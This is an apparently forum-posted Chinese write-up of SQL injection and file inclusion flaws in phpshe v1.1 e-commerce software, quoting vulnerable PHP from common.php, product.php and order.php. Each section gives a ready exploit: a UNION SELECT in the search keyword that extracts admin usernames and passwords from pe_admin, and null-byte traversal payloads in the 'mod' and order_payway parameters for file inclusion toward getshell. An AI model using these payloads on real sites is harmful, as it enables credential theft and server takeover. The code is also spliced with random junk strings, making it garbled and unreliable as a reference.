phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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//common.php
# t0 c8 h* K' t( a' {' n8 o2 {- m! Yif (get_magic_quotes_gpc()) {
* T: O9 z% ^$ z9 h) B+ c!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
; C* e+ N7 ?. G" `7 u}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
0 R5 N1 C) [1 F}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


2 i+ Z9 O7 `3 s$ H3 c//首页文件
# t( l3 W4 N' J5 p& |; b<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
" i2 X) s8 c  I' v. u8 ^% ape_result();
?>
//common 文件 第15行开始
' S1 m$ @# H! p2 U3 A% b# k9 murl路由配置
$module = $mod = $act = 'index';
7 |  \( r  ?7 _$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 j2 X+ d9 O3 ?6 r3 T% J, i$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
5 E' R; Q+ P- B; \$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

1 f( }* u6 I/ G* u. S& g<code id="code2">

//product.php文件
1 U- U4 g6 K2 u7 S7 L$ I) Q+ }case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
# B8 T) e! v, G: H. j. n$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
. i3 d/ b1 z5 Iif ($category_id) {
9 \0 N( p. z, s, x- J$ y* {! Xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
8 k! E; ~" E/ `8 M6 w# n6 `% S# b# Fif ($_g_orderby) {
' e9 d9 o( E6 B) M& e6 u/ I. M4 f0 I$orderby = explode('_', $_g_orderby);
% s0 D/ `4 N  t" q/ M$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
5 ?) i, @8 b  c# t2 \}
else {
$sqlwhere .= " order by `product_id` desc";
. P$ v6 r7 m" S+ ^& a" O- E}
4 O' u7 A' s- q" M: ?, A" {- Z$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
$ t* Q' H, j8 A% K2 Q3 T2 L4 K4 Z//热卖排行
! B7 a/ D: U" X8 q% c6 E4 |2 d$product_hotlist = product_hotlist();
, q/ B6 b, ]. q  c9 |+ J//当前路径
* R/ M* q, X( Y  o3 U$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
8 C1 R; ~* y2 Cpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
6 Q( \5 y' a- y9 A  Q% H5 D$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
9 l% @$ u5 H6 W+ o. T! f' D}
8 R# J) E. b, R3 _6 m0 Q//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
  @$ Z& u3 ]* j$ o6 a

</code>

  }; u" J- E$ z0 G( w) J* k7 }- l. X0×03 包含漏洞2
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' s; K6 [& `- E<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

  H0 A4 [# R9 r6 _2 B8 I$cache_payway = cache::get('payway');

9 X. I5 l" i  c9 Iforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

/ a' H* S3 u$ o2 O! g$ g, {}

& y% \2 V4 L" B$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

5 m% n) ]5 b5 W3 c" M" m!$order['order_id'] && pe_error('订单号错误...');

; x/ [- p3 J/ z7 dif (isset($_p_pesubmit)) {

% y9 `7 g/ C; }5 x6 c9 U& \& Cif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

: [' c, j2 E( ~, S4 v3 ~+ {foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
; L: I% ~; s! m* t2 c7 T

}

echo '正在为您连接支付网站，请稍后...';

" v# X# ?/ ^6 G& r0 @include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

2 }+ f. \3 D$ A}//当一切准备好的时候就可以进行"鸡肋包含了"

/ r( H4 p0 H4 [. u: jelse {

pe_error('支付错误...');

6 B$ d. C) P- P6 Q}

. U4 r5 ~) E1 c; `5 w: s( x}

5 @* ^% y7 d8 C* t6 p/ W0 e" R$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>